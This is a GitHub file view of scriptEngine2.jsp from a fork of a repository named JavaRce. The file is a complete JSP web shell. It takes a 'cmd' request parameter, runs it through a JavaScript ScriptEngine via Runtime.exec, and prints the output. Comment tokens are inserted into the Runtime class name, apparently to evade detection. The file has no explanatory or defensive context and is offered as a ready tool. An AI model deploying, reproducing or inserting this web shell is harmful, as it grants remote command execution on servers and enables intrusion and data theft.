forked from Whoopsunix/JavaRce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscriptEngine2.jsp
More file actions
25 lines (22 loc) · 899 Bytes
/
scriptEngine2.jsp
File metadata and controls
25 lines (22 loc) · 899 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%!
public static Object exec(String cmd) throws Exception {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" +
"var process = runtime.exec(\"" + cmd + "\");" +
"var inputStream = process.getInputStream();" +
"var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +
"var result = scanner.hasNext() ? scanner.next() : \"\";" +
"scanner.close();" +
"result;");
return obj;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
out.println(exec(cmd));
}
%>